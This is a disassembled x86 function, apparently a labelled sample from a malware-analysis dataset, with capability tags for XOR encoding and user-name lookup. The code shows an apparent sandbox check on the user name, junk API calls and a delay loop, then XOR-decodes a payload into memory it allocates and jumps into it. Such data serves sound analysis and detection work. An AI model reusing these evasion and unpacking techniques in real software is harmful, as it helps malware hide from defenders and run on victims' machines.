Function at 0x456078
Capabilities:
Encode data using xor
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
mov dword [ebp - 0x60], eax
mov eax, 0x4562c8
movzx eax, byte [eax + 2]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x5c], 0xc8
mov eax, dword [ebp - 0x5c]
call fcn.004026cc
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x5c]
push eax
mov eax, dword [ebp - 0x58]
push eax
call sub.advapi32.dll_GetUserNameA
mov eax, dword [ebp - 0x58]
cmp byte [eax + 1], 0x6f
jne 0x4560cb
mov eax, dword [ebp - 0x58]
cmp byte [eax + 4], 0x44
jne 0x4560cb
mov eax, dword [ebp - 0x58]
cmp byte [eax + 6], 0x65
je 0x4562ba
push 0
call sub.gdi32.dll_GetStretchBltMode
push 0
call sub.gdi32.dll_GetSystemPaletteUse
push 0
call sub.gdi32.dll_GetTextAlign
push 0
call sub.gdi32.dll_GetTextCharacterExtra
push 0x456300
push 0xa
mov ecx, dword [0x459664]
mov dl, 1
mov eax, dword [0x412468]
call fcn.00416e58
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x4c], 0x1001
mov dword [ebp - 0x50], 0x11e
mov dword [ebp - 4], esp
add dword [ebp - 4], 0xb0
mov dword [ebp - 8], ebp
add dword [ebp - 8], 0x64
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
lea ecx, [0x459664]
mov eax, dword [ecx - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ecx - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0x20a53c3
push 0
call sub.gdi32.dll_GetTextCharset
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x456153
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
call dword [edx]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], 0x7b
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
call fcn.004167f4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x15f8
mov dword [ebp - 0x3c], 2
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x54], 0x9057c
xor eax, eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
call fcn.00406b64
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x40]
jae 0x456251
push 0
call sub.gdi32.dll_GetROP2
push eax
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x48]
pop edx
sub eax, edx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
call fcn.00406b5c
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x3c]
add dword [ebp - 0x44], eax
jmp 0x456216
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jae 0x456284
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
add dword [edx], eax
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x54]
sub eax, 0x5ff2
add eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
xor dword [edx], eax
add dword [ebp - 0x18], 4
add dword [ebp - 0x28], 4
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jb 0x456259
mov dword [ebp - 0x30], 0x821b0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
add dword [ebp - 0x14], 4
sub dword [ebp - 0x14], 0x1000
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [0x459664]
mov eax, 1
push eax
jmp dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret